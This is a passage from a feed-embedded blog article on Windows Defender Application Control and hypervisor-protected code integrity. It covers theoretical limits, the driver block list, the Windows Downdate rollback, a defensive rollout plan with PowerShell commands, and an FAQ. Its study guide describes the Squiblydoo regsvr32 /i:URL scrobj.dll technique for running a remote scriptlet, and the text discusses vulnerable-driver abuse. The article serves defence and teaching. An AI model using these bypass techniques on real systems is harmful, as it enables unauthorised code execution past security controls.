&lt;td&gt;Off-by-default IMA&lt;/td&gt;
&lt;td&gt;Sandbox escapes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Windows distinction is structural. A &lt;em&gt;hypervisor-rooted&lt;/em&gt; runtime enforcement loop, against an &lt;em&gt;XML-schema author-anywhere policy&lt;/em&gt;, evaluated at &lt;em&gt;every PE load&lt;/em&gt; by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties.The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft&apos;s September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.&lt;/p&gt;

The Windows answer is structurally singular. Apple is more locked-down but less configurable; Linux is more configurable but less locked-down; Android sits between but enforces at a coarser boundary. Only Windows ships a tenant-configurable XML policy, evaluated by a hypervisor-rooted check, at every page-fault, on every PE load. That ambition is what makes the Windows design teachable. It is also -- precisely because of that ambition -- the design with the deepest theoretical limits.
&lt;p&gt;The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.&lt;/p&gt;
&lt;h2&gt;8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface&lt;/h2&gt;
&lt;p&gt;Fred Cohen proved in his 1984 paper &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; that the general problem WDAC tries to solve is undecidable. &quot;Detection of a virus is shown to be undecidable both by a-priori and runtime analysis,&quot; [@cohen-eecs588] Cohen wrote in the abstract, &quot;and without detection, containment is, in general, impossible.&quot; Cohen completed his Ph.D. at USC in 1986 [@wikipedia-fred-cohen], where Leonard Adleman (the &lt;em&gt;A&lt;/em&gt; in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in &lt;em&gt;Computers &amp;amp; Security&lt;/em&gt; in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.&lt;/p&gt;
&lt;p&gt;WDAC is not a detector; it is an &lt;em&gt;allowlist&lt;/em&gt;. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- &lt;em&gt;is this exact bag of bytes, with this exact signature, on the trusted list?&lt;/em&gt; -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn&apos;t fixed; it is the empirical residue of an undecidable problem.&lt;/p&gt;
&lt;/blockquote&gt;

Henry Gordon Rice&apos;s 1951 doctoral result at Syracuse University [@wikipedia-rices-theorem]: every non-trivial semantic property of a Turing-complete program is undecidable. &quot;Will this program ever execute arbitrary code from a network argument?&quot; is a semantic property. Rice&apos;s theorem says no static analyser can answer it for `regsvr32.exe`. This is why signed-but-vulnerable LOLBINs persist in Microsoft&apos;s bypass catalogue [@ms-bypass-catalogue] -- Microsoft cannot statically prove that `regsvr32.exe` will not host malicious scriptlets, so the only available remedy is to add it to the deny list inside the allow list.
&lt;p&gt;The W$\oplus$X ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that &lt;em&gt;write&lt;/em&gt; a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of &lt;em&gt;existing&lt;/em&gt; executable bytes never violates W$\oplus$X. The attacker stitches together short snippets ending in &lt;code&gt;RET&lt;/code&gt; instructions, all of which were already in the kernel&apos;s executable text section, and the resulting computation is Turing-complete. Kernel Data Protection [@ms-kdp-blog] closes the data-corruption variant -- attackers shifting from &lt;em&gt;modify code&lt;/em&gt; to &lt;em&gt;modify data that drives code&lt;/em&gt; -- but the control-flow attack class remains.&lt;/p&gt;
&lt;p&gt;The Driver Block List arms race is the third structural limit. Microsoft&apos;s own Learn page on the Block List [@ms-driver-blocklist] says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor&apos;s installed base.&lt;/p&gt;

It&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions. -- Microsoft Learn, Microsoft recommended driver block rules, 2026.
&lt;p&gt;The fourth limit is the bug-bounty calibration. Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at $5,000 to $250,000 USD [@ms-hyperv-bounty] on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does &lt;em&gt;not&lt;/em&gt; break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft&apos;s view of how much it values an attack that compromises the HVCI substrate from above.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bound&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;What it implies&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Cohen 1986 lower bound&lt;/td&gt;
&lt;td&gt;Cohen, &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; [@cohen-eecs588]&lt;/td&gt;
&lt;td&gt;General malware detection is undecidable; allowlists are the only decidable primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rice&apos;s theorem lower bound&lt;/td&gt;
&lt;td&gt;Rice 1951 [@wikipedia-rices-theorem]&lt;/td&gt;
&lt;td&gt;Static analysis cannot decide non-trivial semantic properties of LOLBINs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reachable bound&lt;/td&gt;
&lt;td&gt;WDAC + HVCI + KDP + Block List + ASR + Defender for Endpoint&lt;/td&gt;
&lt;td&gt;Decidable allowlist + curated deny list + EDR telemetry on the residual&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Residual surface&lt;/td&gt;
&lt;td&gt;ROP/JOP, signed LOLBINs, BYOVD ahead of cadence, hypervisor rollback&lt;/td&gt;
&lt;td&gt;Microsoft response: KDP, hash-pinned bypass list, VMDRC reporting [@ms-wdsi-driver], KB5042562 [@nvd-cve-2024-21302]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

A short proof-by-existence: the July 2024 Windows Downdate disclosure [@safebreach-downdate] used a downgrade attack to roll back HVCI&apos;s own runtime substrate to a vulnerable older version, exposing previously-fixed kernel bugs. The attack does not violate W$\oplus$X. It violates *temporal trust*: the assumption that the binaries enforcing the policy today are at least as trustworthy as the binaries that were enforcing it yesterday. Microsoft eventually addressed this with KB5042562 and the opt-in revocation policy [@nvd-cve-2024-21302] -- mitigations completed July 8, 2025 -- but the underlying class is still the same: the allowlist is decidable, the input to the allowlist is not.
&lt;p&gt;WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.&lt;/p&gt;
&lt;h2&gt;9. Open Problems: Where Research Lives Today&lt;/h2&gt;
&lt;p&gt;Five live research directions sit on the frontier of the runtime enforcement loop. Each is the &lt;em&gt;next&lt;/em&gt; generation of one of the residuals named in section eight.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data-only attacks against HVCI and KDP coverage.&lt;/strong&gt; KDP closes the data-corruption gap, but only opt-in per driver [@ms-kdp-blog] -- the driver author has to call &lt;code&gt;MmProtectDriverSection&lt;/code&gt; for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BYOVD-class drivers faster than the Block List update cadence.&lt;/strong&gt; The Block List ships quarterly, with monthly Windows updates as the delivery mechanism [@ms-driver-blocklist]; the LOLDrivers community catalogue [@loldrivers] operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The Microsoft Vulnerable and Malicious Driver Reporting Center [@ms-wdsi-driver] is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Signed-but-vulnerable user-mode binaries.&lt;/strong&gt; The forty-entry bypass catalogue [@ms-bypass-catalogue] keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, &quot;regsvr32 with &lt;code&gt;/i:URL&lt;/code&gt; arguments&quot; can be denied even when &quot;regsvr32 without arguments&quot; is allowed. Some of this lives in Defender&apos;s ASR rules [@ms-asr-rules] today; none of it lives inside WDAC&apos;s static schema.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HVCI rollback (CVE-2024-21302 Windows Downdate).&lt;/strong&gt; Alon Leviev&apos;s Black Hat USA 2024 disclosure [@safebreach-downdate] used the Windows Update flow itself to downgrade HVCI&apos;s substrate to an older, vulnerable version -- &quot;I successfully downgraded Credential Guard&apos;s Isolated User Mode Process, Secure Kernel, and Hyper-V&apos;s hypervisor to expose past privilege escalation vulnerabilities.&quot; Mitigation was completed July 8, 2025 with KB5042562 [@nvd-cve-2024-21302]. But the Windows Update takeover that &lt;em&gt;delivered&lt;/em&gt; the downgrade remains unpatched [@safebreach-downdate-update] because Microsoft does not consider admin-to-kernel a security boundary; &quot;Gaining kernel code execution as an Administrator is not considered as crossing a security boundary.&quot; The open direction is mandatory &lt;code&gt;dbx&lt;/code&gt; hygiene plus UEFI-locked monotonic version counters for VBS binaries.&lt;/p&gt;

I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term &apos;fully patched&apos; meaningless on any Windows machine in the world. -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.
&lt;p&gt;&lt;strong&gt;The post-CrowdStrike user-mode-security pivot.&lt;/strong&gt; The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft&apos;s September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on VBS Trustlets [@paragmali-com-secure-kernel] is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI&apos;s silicon dependency improves for legacy fleets.The LOLDrivers catalogue [@loldrivers] tracks new BYOVD entries on a daily cadence; recent April 2026 entries include &lt;code&gt;iOCdrv.sys&lt;/code&gt; and &lt;code&gt;Windows_CPU_Temperature_Component.sys&lt;/code&gt;, both classified as &quot;Vulnerable driver.&quot; The Microsoft-shipped Block List trails by months, and that trailing time is the structural feature of the curation discipline -- you cannot ship a Block List update that bricks an entire vendor&apos;s installed base on a Wednesday.&lt;/p&gt;
&lt;p&gt;These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is &lt;em&gt;not&lt;/em&gt; contested -- the operational discipline a 2026 administrator should follow today.&lt;/p&gt;
&lt;h2&gt;10. Practical Guide: A Phased Rollout for a 2026 Estate&lt;/h2&gt;
&lt;p&gt;If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 0 (week 1) -- silicon verification.&lt;/strong&gt; Run &lt;code&gt;Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard&lt;/code&gt; against a representative sample. Confirm that &lt;code&gt;AvailableSecurityProperties&lt;/code&gt; includes &lt;code&gt;1&lt;/code&gt; (hypervisor support), &lt;code&gt;2&lt;/code&gt; (Secure Boot), and &lt;code&gt;7&lt;/code&gt; (MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later [@ms-memory-integrity]). Confirm that &lt;code&gt;VirtualizationBasedSecurityStatus = 2&lt;/code&gt; on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented &quot;HVCI-incapable&quot; exception with an EDR-only compensating control.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Older silicon falls back to Restricted User Mode emulation, which Microsoft documents as having &quot;a bigger impact on performance&quot; than the silicon-native path. Endpoints that report neither MBEC nor GMET will show measurable per-process startup overhead with HVCI on. Phase 0 is the planning data you need to scope the fleet before you light the feature up.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce.&lt;/strong&gt; Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; [@ms-driver-blocklist] standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the &lt;code&gt;Microsoft-Windows-DeviceGuard/Operational&lt;/code&gt; channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 2 (weeks 5-10) -- WDAC base policy in audit mode.&lt;/strong&gt; Author a base policy from &lt;code&gt;DefaultWindows_Audit.xml&lt;/code&gt; [@ms-example-policies] using &lt;code&gt;New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat&lt;/code&gt;. Deploy in audit. Iterate &lt;code&gt;New-CIPolicy -Audit&lt;/code&gt; against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don&apos;t be that rollout.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 3 (weeks 11-16) -- sign and enforce.&lt;/strong&gt; Sign the base policy (&lt;code&gt;Add-SignerRule -Update&lt;/code&gt;, &lt;code&gt;Set-RuleOption -Option 6 -Delete&lt;/code&gt;, &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt;, &lt;code&gt;signtool.exe&lt;/code&gt; [@ms-rule-options]). Validate the signed policy on a wave-1 subset &lt;em&gt;before&lt;/em&gt; fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt; [@ms-vmdrc-blog] at the Defender for Endpoint policy layer. Integrate the &lt;code&gt;CodeIntegrity-Operational&lt;/code&gt; channel into your SIEM [@ms-asr-rules] via Defender for Endpoint advanced hunting -- the &lt;code&gt;DeviceEvents&lt;/code&gt; table is your join point.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A signed policy is one of the few WDAC operations that can render a Windows machine un-bootable when it goes wrong. Always validate a signed-policy update on a wave-1 subset before fleet rollout. Always confirm that the new signer is in the &lt;code&gt;&amp;lt;UpdatePolicySigner&amp;gt;&lt;/code&gt; element of the &lt;em&gt;currently active&lt;/em&gt; policy &lt;em&gt;before&lt;/em&gt; you ship the new policy. Always increment &lt;code&gt;VersionEx&lt;/code&gt; monotonically. None of these are nice-to-haves.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Phase 4 (ongoing) -- continuous tuning.&lt;/strong&gt; Quarterly: refresh the Driver Block List policy [@ms-driver-blocklist]; review ISG verdicts (if rule option 14 is on); re-evaluate the LOLBIN bypass list [@ms-bypass-catalogue] against your signed-by-Microsoft inventory; check the LOLDrivers community catalogue [@loldrivers] for new vulnerable drivers your environment ships.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Audit volume goes near-zero before enforce, not &quot;low&quot; before enforce. The 3076 events you see in audit are the 3077 events you will see in enforce, and every 3077 event in production is a paged-out application your users cannot run. Iterate the supplemental-policy authoring loop until the audit volume genuinely flatlines, then enforce.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &quot;do not do&quot; list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the &lt;code&gt;VersionEx&lt;/code&gt; boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft&apos;s own AppLocker overview [@ms-applocker-overview] disqualifies the feature as a security boundary. Do not turn HVCI off to &quot;fix&quot; driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.&lt;/p&gt;

```powershell
Get-CimInstance -ClassName Win32_DeviceGuard `
  -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object AvailableSecurityProperties,
                VirtualizationBasedSecurityStatus,
                SecurityServicesRunning,
                CodeIntegrityPolicyEnforcementStatus
```
Pipe the output into your SIEM, group by silicon family, and you have your Phase 0 capacity model.
&lt;p&gt;After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop&apos;s continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.&lt;/p&gt;
&lt;h2&gt;11. FAQ: The Misconceptions This Article Closes&lt;/h2&gt;
&lt;p&gt;Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.&lt;/p&gt;

No. They share the AppLocker Application Identity service [@ms-applocker-overview] for some surfaces (Managed Installer, the ISG plumbing), but the two are different products under different servicing regimes. WDAC is serviced under MSRC criteria as a security feature [@ms-acfb-overview], meaning Microsoft treats a bypass as a vulnerability. Microsoft documents AppLocker [@ms-applocker-overview] as a defense-in-depth feature, not a defensible security boundary -- the verbatim quote anchors the §3 Definition and PullQuote above. MSRC will not service AppLocker bypasses.

No. NX (the No-Execute bit on x86-64) is a permission bit the CPU&apos;s MMU consults on every page access -- but the page-table entries that drive it live in memory the kernel maintains and the kernel can write. If an attacker has SYSTEM in ring 0, they can change the page-table entries the MMU consults. HVCI is a per-VTL SLAT permission state [@ms-kdp-blog] held in the hypervisor&apos;s page tables, validated by `SkCi.dll` in VTL1, which a SYSTEM-level attacker in VTL0 cannot reach. NX&apos;s enforcement substrate is editable by the attacker; HVCI&apos;s is not.

No, not at the running enforcement layer. HVCI is enforced by the hypervisor; a SYSTEM-level kernel attacker can disable the *registry key* that determines whether HVCI loads on next boot, but cannot turn off the running enforcement on the current boot. Even the registry-key disable is detectable -- the `CodeIntegrity-Operational` channel [@ms-driver-blocklist] records the change, and a configured EDR will pick it up. The 2024 Windows Downdate disclosure is the most recent qualifier on this answer: a sufficiently sophisticated attacker can roll back the binaries that *implement* HVCI, but the July 2025 KB5042562 mitigation [@nvd-cve-2024-21302] closed that vector for the documented CVE.

No. Smart App Control [@ms-sac-support] is the same `CI.dll` engine consuming an example WDAC policy (`SmartAppControl.xml` / `SignedReputable.xml` [@ms-example-policies]) tuned for consumer trust verdicts. It uses the same cloud reputation primitive as the Intelligent Security Graph [@ms-isg], the same Authenticode validation, and the same per-PE-load evaluation cadence. The differences are: it is opt-in at consumer install time, it has no per-app exception model, and it auto-disables for users whose behavioural profile suggests they are developers.

No. Microsoft holds back blocks for compatibility [@ms-driver-blocklist] -- the canonical Microsoft Learn position is that breaking an entire vendor&apos;s installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle. The verbatim &quot;hold back some blocks&quot; quote anchors the §8 PullQuote above. The LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026; the lag between LOLDrivers and the shipped Block List is days to months.

No. The Microsoft Learn memory-integrity page [@ms-memory-integrity] reconciles all three names; the verbatim quote anchors the §4b *HVCI / Memory Integrity* Definition above. Three names; one feature; one `SkCi.dll`; one architectural inversion of Blue Pill.

Only if you remove the Script Enforcement opt-out (rule option 11, `Disabled:Script Enforcement` [@ms-rule-options]). The default is to enforce script-host coverage for the binaries listed in the bypass catalogue [@ms-bypass-catalogue] -- which means a WDAC-enforced endpoint runs PowerShell in Constrained Language Mode by default for non-allowlisted scripts. PowerShell scripts that are signed by a trusted signer continue to run in Full Language Mode.

Mostly. But some policy options change behaviour even in audit mode -- for example, `Disabled:Runtime FilePath Rule Protection` [@ms-rule-options] removes the runtime user-writeability check on path rules whether or not enforcement is on, and `Required:WHQL` (rule option 2) is a hard requirement that does not have an audit-only counterpart. Test thoroughly. Audit mode is necessary discipline; it is not a permission to ignore policy semantics.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;wdac-hvci-code-integrity-at-every-layer-in-windows&quot; keyTerms={[
  { term: &quot;WDAC&quot;, definition: &quot;Windows Defender Application Control / App Control for Business -- the configurable code integrity engine that evaluates a SiPolicy XML at every PE load via CI.dll.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity -- the hypervisor-rooted check that runs SkCi.dll in VTL1 and enforces W$\oplus$X for kernel pages via SLAT entries.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver -- the attack class in which a privileged operator loads a signed-but-vulnerable driver to gain ring 0 code execution.&quot; },
  { term: &quot;VTL0 / VTL1&quot;, definition: &quot;Virtual Trust Levels 0 and 1 -- the hypervisor-enforced privilege separation that puts the Secure Kernel and SkCi.dll out of reach of a SYSTEM-level VTL0 attacker.&quot; },
  { term: &quot;Squiblydoo&quot;, definition: &quot;Casey Smith&apos;s April 2016 AppLocker bypass via regsvr32.exe /i:URL scrobj.dll, the canonical demonstration that publisher-only identity is necessary but not sufficient.&quot; },
  { term: &quot;SiPolicy XML&quot;, definition: &quot;The schema for a WDAC policy: Rules, Signers, FileRules, SigningScenarios, HvciOptions, UpdatePolicySigners, SupplementalPolicySigners, CiSigners.&quot; },
  { term: &quot;Driver Block List&quot;, definition: &quot;Microsoft&apos;s recommended deny list of vulnerable and malicious kernel drivers, shipped as RecommendedDriverBlock_Enforced.xml and on by default with HVCI on Windows 11 22H2+.&quot; },
  { term: &quot;ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5&quot;, definition: &quot;The Defender for Endpoint &apos;Block abuse of exploited vulnerable signed drivers&apos; rule that pairs with the Block List as the EDR-side telemetry partner.&quot; },
  { term: &quot;Cohen 1984/1986&quot;, definition: &quot;Fred Cohen&apos;s 1984 paper Computer Viruses -- Theory and Experiments (included in his 1986 USC PhD dissertation under Leonard Adleman): general malware detection is undecidable -- the lower-bound theoretical justification for why WDAC must be an allowlist, not a detector.&quot; },
  { term: &quot;Rice&apos;s theorem&quot;, definition: &quot;Henry Gordon Rice&apos;s 1951 result that every non-trivial semantic property of a Turing-complete program is undecidable -- the lower-bound justification for why signed-but-vulnerable LOLBINs cannot be statically eliminated.&quot; }
]} questions={[
  { q: &quot;What two engines refused the dbutil_2_3.sys load that opens this article, and where do they sit?&quot;, a: &quot;CI.dll in VTL0 builds the verdict from the Driver Block List (a standalone WDAC policy); SkCi.dll in VTL1 ratifies it; the hypervisor enforces the W-&amp;gt;X SLAT refusal that emits CodeIntegrity-Operational event 3033.&quot; },
  { q: &quot;Why is a publisher rule for O=Microsoft Corporation insufficient against Squiblydoo?&quot;, a: &quot;Because the publisher rule scopes trust to the binary&apos;s signer, not the binary&apos;s behaviour. regsvr32.exe is signed by Microsoft and exposes a /i:URL flag that fetches and executes a remote scriptlet; the publisher rule allows the binary, the scriptlet runs in-process, and AppLocker logs a successful launch.&quot; },
  { q: &quot;What is the architectural inversion HVCI performs against Joanna Rutkowska&apos;s 2006 Blue Pill argument?&quot;, a: &quot;Blue Pill argued the hypervisor was the attacker&apos;s substrate to fear. HVCI moves the kernel CI check into VTL1, hosted by the hypervisor Microsoft owns -- so the hypervisor becomes the defender&apos;s substrate, and a SYSTEM-level VTL0 kernel attacker cannot reach VTL1.&quot; },
  { q: &quot;Why does the Driver Block List always lag behind the LOLDrivers community catalogue?&quot;, a: &quot;Microsoft holds back blocks for compatibility, in its own words -- shipping a Block List update that bricks an entire vendor&apos;s installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle.&quot; },
  { q: &quot;What is the audit-to-enforce discipline, and why is skipping it the most common cause of WDAC rollout failure?&quot;, a: &quot;Deploy in audit; harvest CodeIntegrity-Operational event 3076; mint supplemental policies with New-CIPolicy -Audit; merge and redeploy; iterate until audit volume is near-zero; then Set-RuleOption -Option 3 -Delete to switch to enforce. Skipping the iteration is what produces production casualties: every 3076 event you see in audit is a 3077 enforce-block in production, which is a paged-out application your users cannot run.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>wdac</category><category>hvci</category><category>app-control</category><category>kernel</category><category>byovd</category><category>application-control</category><category>memory-integrity</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>